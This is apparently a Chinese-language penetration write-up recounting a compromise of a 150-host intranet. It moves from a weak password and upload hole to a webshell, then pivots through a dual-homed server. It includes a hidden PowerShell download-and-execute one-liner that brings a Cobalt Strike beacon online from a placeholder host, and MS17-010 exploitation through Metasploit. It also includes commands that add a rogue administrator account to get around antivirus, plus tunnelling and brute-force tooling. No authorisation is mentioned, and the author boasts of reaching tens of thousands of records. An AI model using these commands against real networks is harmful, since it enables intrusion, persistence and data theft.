前言

很久没有写点东西了，这次分享个二层内网的渗透过程，该内网约150台设备，工作组环境。

目录

0x00外部打点
0x01边界突破
0x02内网渗透-信息收集
0x03内网渗透-拿下资产

0x00外部打点

入口点起源于弱口令+上传漏洞

当拿到上传漏洞之后，常规渗透途径 小马 -> 大马 -> 提权，条件允许的话个人更喜好大马，故直接上传了大马。

0x01边界突破

有了大马后，首先要做的为信息收集，信息收集大家都知道，渗透测试的关键都在于信息收集。

首先查看权限，为Administrator，其实也不用看，该网站为Tomcat，JSP网站，渗透多了基本知道网站权限为Administrator；

其次查看网卡，发现为双网卡服务器，故可把该台主机当作跳板机；

查看任务进程，查看任务进程的目的为判断服务器上是否存在杀毒软件，来进行下一步的渗透步骤，该台服务器由下图可以看出，无杀毒软件；

查看网络连接，判断服务器开放端口以及相应服务。

信息只做浅谈，相应要做的信息收集肯定不止如上那些，收集了如上信息后，由于服务器无杀毒软件，故可直接CS上线，这里采用Powershell上线方式，
命令为：

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxx/a'))"

可直接上线；

0x02内网渗透-信息收集

由之前的信息收集可得，已拿下的A主机为双网卡，故可做跳板机，那么可以通过它，扩大这次渗透的战果。

首先，收集内网存活主机，这里采用了K8的CS脚本Ladon，可收集内网存活主机，Target输入192.168.0.1/16可扫描B段；

存活主机扫描完毕，149台主机内网存活，扫描了主机之后，下一步就是扫端口，用的为CS自带的端口扫描模块，Ports输入自定义端口

1
21-23,110,139,143,389,512-514,873,1080,1352,1433,1521,2049,2181,3306,3389,4848,5000,5432,5900,6379,7001,80-90,443,8000-9000,9090,9200,9300,11211,27017

CS自带的端口扫描模块截图：

对扫描结果进行筛选，这里筛选结果如下：

0x03内网渗透-拿下资产

在内网渗透之前，需要说下代理隧道，在这篇文章用得到的隧道为两种，分别为：

  • 基于Windows平台：reGeorg+Proxifier
  • 基于Kali平台：reGeorg+Proxychains

基于Windows平台：reGeorg+Proxifier
reGeory为设置代理，命令如下：

Proxifier为让本地流量过代理，需设置监听本地，且放过Python（即让Python流量不过代理），配置如下：

基于Kali平台：reGeorg+Proxychains
跟Windows平台相同的为都用reGeorg做代理，因为reGeorg基于Python，Python在Windows上和Linux上都可安装运行，与Windows平台不同的是，Kali平台导入代理流量的工具是Proxychains，首先需在Proxychains.conf做配置，再在使用工具前加proxychains即可。

Proxychains配置如下，这里设置的为本地1080端口走代理：

MSF走代理命令为：

有人可能会问，CS已经上线，为什么不用CS代理呢，MSF干嘛不用MSF代理呢？
答：CS与MSF毕竟为渗透工具，代理模块用起来可以用，但都有各自的缺点，MSF不稳定，CS则速度慢，所以还是设置个其他代理渗透更顺手，这里reGeorg也可换成其他代理。

说了代理，之后就要聊聊如何进行内网渗透了，由内网信息收集，我们可获得大量内网主机端口信息，对这些信息进行分析，可分为如下三种类型进行渗透：

  • Web应用（80、443、8080端口等）；
  • 数据库、主机应用（1433的MSSQL、3306的MYSQL、Windows的RDP、Linux的SSH等）；
  • 常规内网漏洞（MS17_010、0708等）。

Web应用
内网常用，SQL注入、命令执行（shiro，struct2等）、弱口令等。
拿下的Web应用部分截图如下：
某后台管理系统：

某存储管理系统：

某设备管理系统：

数据库、主机应用
主要问题为弱口令，可通过超级弱口令检测工具、Hscan、Hydra等进行弱口令检测工具进行爆破。
Tips：爆破的主要诀窍在于字典。

超级弱口令检测工具如下：

Hscan如下：

常规内网漏洞
之前的代理已经说了Proxychains msfconsole，该命令即为让MSF流量过代理，即在内网环境中。那么在内网环境中可使用MSF的ms170_10、0708等模块去进行相应渗透，msf为内网渗透神器，其内置大量渗透攻击模块
使用方式为 ：
查询模块（Search） -> 选择模块（use） -> 查看使用方法（show options） -> 配置参数（set） -> 运行（run）；

在这就通过ms17_010打下了内网网站主服务器，多网站备份以及上万条资料都在其中。下面说下ms17_010打下该服务器的过程。

首先，刚才筛选出一份445端口存在的存活主机表，然后对这份存活主机表进行ms17_010扫描，发现某服务器存在ms17_010，发现存在后，尝试上线，可通过CS监听，MSF派生CS上线或者直接CS上线，发现无法上线，故用ms17_010command模块查看系统任务，估计存在杀毒软件，tasklist命令执行后，发现的确如此，

ZhuDongFangYu，很熟悉的程序，说明该台服务器存在360，那么未免杀的木马则无法在该台服务器中运行，这里通过添加管理员账号+远程rdp连接的方式绕过该防护

1
2
set command net user administrator1 administrator1 /add
set command net localgroup administrators administrator1 /add

执行后net user查看，发现administrator1已添加，那么接下来可直接连接3389端口的rdp了，已拿下该服务器，经过后期登录查看，发现多网站备份以及上万条资料都在其中。

写文章时发现有用户登录，不做登陆操作演示了。